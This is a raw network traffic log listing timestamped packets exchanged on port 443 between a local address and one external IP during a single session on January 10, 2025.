Jan 10, 2025 07:52:15.822061062 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.833813906 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.833846092 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.833889008 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.833899975 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.833931923 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.833950996 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.834568977 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.834592104 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.834631920 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.834640026 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.834662914 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.834683895 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.835230112 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.835249901 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.835290909 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.835297108 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.835326910 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.835351944 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.836036921 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.836061954 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.836100101 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.836107016 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.836141109 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.836163044 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.858442068 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.858469009 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.858547926 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.858561039 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.858608007 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.866595030 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.866636992 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.866693974 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.866707087 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.866755962 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.879931927 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.879961014 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.880106926 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.880126953 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.880275011 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.914629936 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.914664984 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.914756060 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.914763927 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.914807081 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.926237106 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.926259041 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.926320076 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.926331997 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.926381111 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.926398039 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.926836967 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.926860094 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.926906109 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.926913023 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.926938057 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.926953077 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.927660942 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.927680016 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.927719116 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.927726030 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.927755117 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.927772999 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.928194046 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.928214073 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.928287983 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.928287983 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.928294897 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.930762053 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.950855017 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.950882912 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.951010942 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.951020002 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.951188087 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.959014893 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.959042072 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.959122896 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.959131002 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.959155083 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.959176064 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.972424030 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.972455025 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.972531080 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:15.972539902 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:15.972664118 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.006850958 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.006881952 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.006949902 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.006959915 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.006999969 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.007030010 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.018668890 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.018692970 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.018832922 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.018845081 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.018985987 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.019431114 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.019452095 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.019494057 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.019500017 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.019530058 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.019545078 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.020051956 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.020071030 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.020112991 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.020121098 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.020165920 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.020184040 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.020852089 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.020870924 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.020906925 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.020914078 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.020942926 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.020960093 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.043282986 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.043303967 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.043520927 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.043531895 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.043706894 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.051407099 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.051428080 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.051780939 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.051789999 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.051841974 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.064852953 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.064879894 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.065063000 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.065072060 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.065174103 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.099540949 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.099571943 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.099772930 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.099772930 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.099783897 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.102475882 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.111167908 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.111191988 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.111284971 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.111284971 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.111294031 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.111964941 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.111994982 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.112051964 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.112059116 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.112096071 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.112565994 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.112590075 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.112662077 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.112662077 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.112669945 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.113153934 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.113181114 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.113250971 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.113250971 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.113259077 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.114742041 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.135814905 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.135843992 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.135962963 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.135962963 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.135971069 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.138813019 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.143879890 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.143902063 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.144054890 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.144063950 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.144124031 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.157428026 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.157452106 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.158698082 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.158708096 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.159178972 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.192090988 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.192147017 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.192220926 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.192234993 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.192282915 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.192282915 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.203620911 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.203675985 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.203733921 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.203742027 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.203836918 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.204175949 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.204221964 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.204257965 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.204303980 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.204327106 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.204435110 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.204969883 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.205013990 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.205077887 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.205077887 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.205085039 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.205266953 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.205538988 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.205584049 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.205645084 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.205651999 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.205698013 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.205698013 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.228312969 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.228368998 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.228421926 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.228430033 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.228482008 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.228523970 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.236785889 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.236872911 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.236898899 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.236987114 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.250055075 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.250197887 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.250264883 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.250264883 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.250273943 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.250324011 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.284538984 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.284604073 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.284717083 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.284717083 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.284728050 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.286761045 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.296655893 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.296704054 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.296756983 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.296763897 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.296814919 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.296814919 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.296915054 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.297009945 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.297080040 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.297178030 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.297384977 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.297429085 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.297478914 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.297485113 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.297518015 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.297534943 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.298012972 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.298058033 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.298126936 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.298127890 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.298135042 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.298315048 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.320672035 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.320733070 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.320791960 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.320791960 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.320801020 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.321361065 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.329375982 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.329407930 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.329495907 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.329504967 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.329557896 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.329557896 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.342623949 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.342691898 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.342761993 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.342761993 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.342771053 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.342891932 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.376851082 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.376880884 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.376971006 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.376971006 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.376979113 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.377028942 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.388623953 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.388653994 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.388703108 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.388709068 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.388765097 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.388765097 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.389091015 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.389117002 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.389173031 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.389178991 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.389203072 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.389518976 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.389780998 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.389801979 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.389847040 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.389853001 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.389893055 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.389893055 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.390235901 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.390256882 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.390332937 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.390332937 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.390340090 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.390695095 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.413095951 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.413121939 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.413216114 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.413216114 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.413223028 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.413366079 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.421932936 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.421960115 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.422020912 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.422029018 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.422046900 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.422079086 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.435139894 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.435162067 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.435209036 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.435215950 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.435269117 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.435269117 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.469175100 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.469211102 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.469337940 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.469337940 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.469353914 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.470702887 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.481167078 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.481193066 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.481291056 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.481301069 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.481369019 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.481493950 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.481941938 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.481964111 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.482049942 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.482058048 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.482208967 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.482455015 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.482481956 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.482564926 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.482564926 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.482573986 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.482673883 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.482903957 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.482929945 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.483004093 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.483004093 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:16.483011961 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:16.483191967 CET	49751	443	192.168.2.9	47.79.66.76
